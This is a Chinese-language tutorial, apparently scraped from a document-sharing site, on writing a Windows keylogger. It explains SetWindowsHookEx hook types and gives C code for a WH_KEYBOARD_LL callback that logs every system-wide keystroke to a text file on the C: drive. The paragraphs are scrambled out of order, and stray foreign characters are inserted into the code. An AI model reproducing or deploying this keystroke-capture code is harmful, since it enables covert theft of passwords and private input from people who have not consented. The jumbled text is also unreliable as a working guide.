打造自己的键盘记录器

合集下载
  1. 1、下载文档前请自行甄别文档内容的完整性,平台不提供额外的编辑、内容补充、找答案等附加服务。
  2. 2、"仅部分预览"的文档,不可在线预览部分如存在完整性等问题,可反馈申请退款(可完整预览的文档不适用该条件!)。
  3. 3、如文档侵犯您的权益,请联系客服反馈,我们会尽快为您处理(人工客服工作时间:9:00-18:30)。
}
上面这段代码的意思就是当调用回调函数时,将虚拟码通过GetKeyName函数(后面会定义)转换为我们可以看懂的内容,然后当接收到键盘按下(WM_KEYDOWN)的消息时,就打开C:\\zaroty.TXT并将转换来的按键信息写入其中。写入完毕之后为了保证这个按键消息可以继续传递下去,调用CallNextHookEx函数将其传入消息队列。下面是CallNextHookEx函数的定义:
WH_KEYBOARD
WH_SHELL
WH_SYSMSGFILTER
这么多的钩子类型,我们在这一不去进行一一的解释,仅仅拿出我们需要的两个来说一下,其他的大家可以参阅MSDN上的SetWindowsHookEx函数的定义。
这里与我们键盘记录有关系的两个钩子类型是:WH_KEYBOARD和WH_KEYBOARD_LL,这两个都是键盘钩子,他们有什么区别呢?MSDN上面说的是WH_KEYBOARD会在应用程序调用GetMessage或者PeekMessage函数并且有键盘消息(按下或者释放)的时候会调用相应的函数进行处理,WH_KEYBOARD_LL这个类型是只要有键盘输入事件的发生,它都会将键盘消息传给相应函数,而在我自己试验的时候发现WH_KEYBOARD类型的钩子只记录本程序的按键消息,对发送到其他程序的按键消息不予以响应。所以,下面我们就用WH_KEYBOARD_LL这个类型的底层键盘钩子,来记录计算机上所有的键盘输入。
WH_CALLWNDPROC
WH_CALLWNDPROCRET
WH_CBT
WH_DEBUG
WH_KEYBOARD_LL
WH_MOUSE
WH_MOUSE_LL
WH_MSGFILTER
WH_FOREGROUNDIDLE
WH_GETMESSAGE
WH_JOURNALPLAYBACK
WH_JOURNALRECORD
打造自己的键盘记录器
作者:zaroty
偶破博:/zaroty
说起键盘记录,想必很多朋友都用过网上流传的一些键盘记录软件吧,但是有没有想过自己写一个呢?也许你会想:会不会很复杂啊?我可以很负责的告诉你,写键盘记录是很简单的。你所需要的仅仅是懂得一些C语言的DLL编写,剩下的就是仔细的研究下MSDN上面的函数和一些耐心啦。下面就让我这小菜带大家来写属于自己的键盘记录器吧。
那么按键消息也就像你的那封信一样,当在系统中安装了hook之后,就可以截取所有的键盘消息,从而对这些消息进行操作,还可以决定是否继续将这个消息传送到另外一个正在等候的程序。
通过上面简单的比喻,我想大家应该对hook有了一个简单的认识,下面我们来说下hook的分类以及一些具体的使用。
Hook可以分为下面几种,不同类型的钩子有着不同的作用:
我们这里用到的是WH_KEYBOARD_LL对应的回调函数LowLevelKeyboardProc,他的定义如下:
LRESULT CALLBACK LowLevelKeyboardProc(
int nCode, // hook code
WPARAM wParam, // message identifier
LRESULT CallNextHookEx(
HHOOK hhk, //当前钩子的句柄,当我们安装钩子的时候会得到这个句柄。
LPCSTR log=GetKeyName(pStruct->vkCode);
if (wParam==WM_KEYDOWN)
{
FILE *fl=fopen("C:\\zaroty.TXT","a+");
fprintf(fl,"%s %s",log," ");
fclose(fl);
}
return CallNextHookEx( CuhHook, nCode, wParam, lParam );
typedef struct tagKBDLLHOOKSTRUCT {
DWORD vkCode;//virtual-key
Байду номын сангаасDWORD scanCode;
DWORD flags;
DWORD time;
ULONG_PTR dwExtraInfo;
} KBDLLHOOKSTRUCT, *PKBDLLHOOKSTRUCT;
LPARAM lParam // message data
);
这里的wParam指的是键盘消息的标识,它的值可以是WM_KEYDOWN, WM_KEYUP,WM_SYSKEYDOWN,或者WM_SYSKEYUP.而lParam则指向一个KBDLLHOOKSTRUCT结构体,下面是KBDLLHOOKSTRUCT结构体的定义:
说道键盘记录,免不掉要说一下Windows的HOOK函数。通过搜索引擎,我们会得到好多关于hook的定义,这里就用比较通俗易懂的话来说下什么是hook。
Hook可以说就是一个间谍,假如你想要给你远在马来西亚的女朋友写一封信,你可以直接把写好的信投到邮局,然后由邮递员送到你女朋友手里。但是当hook这个阴险的间谍出现时,事情就完全发生了变化。Hook会赶在邮递员把你的信送出去之前进行一些你并不想要的操作,这样一来,你的信可能被修改、复制,甚至直接销毁。
下面我们看一下钩子使用:
首先我们要定义一个钩子的回调函数,这样当相应的系统消息传送给钩子的时候就会由这个回调函数进行处理。回调函数书写必须按照下面的语法:
LRESULT CALLBACK HookProc
(
int nCode,
WPARAM wParam,
LPARAM lParam
);
HookProc是你自己定义的名字。nCode参数是Hook代码,Hook子程使用这个参数来确定任务。这个参数的值依赖于Hook类型,每一种Hook都有自己的Hook代码特征字符集。wParam和lParam参数的值依赖于Hook代码,但是它们的典型值是包含了关于发送或者接收消息的信息。
知道了上面的这些,我们就可以开始写我们的回调函数了:
LRESULT CALLBACK LowLevelKeyboardProc(
int nCode,
WPARAM wParam,
LPARAM lParam
)
{
KBDLLHOOKSTRUCT* pStruct = (KBDLLHOOKSTRUCT*)lParam;
相关文档
最新文档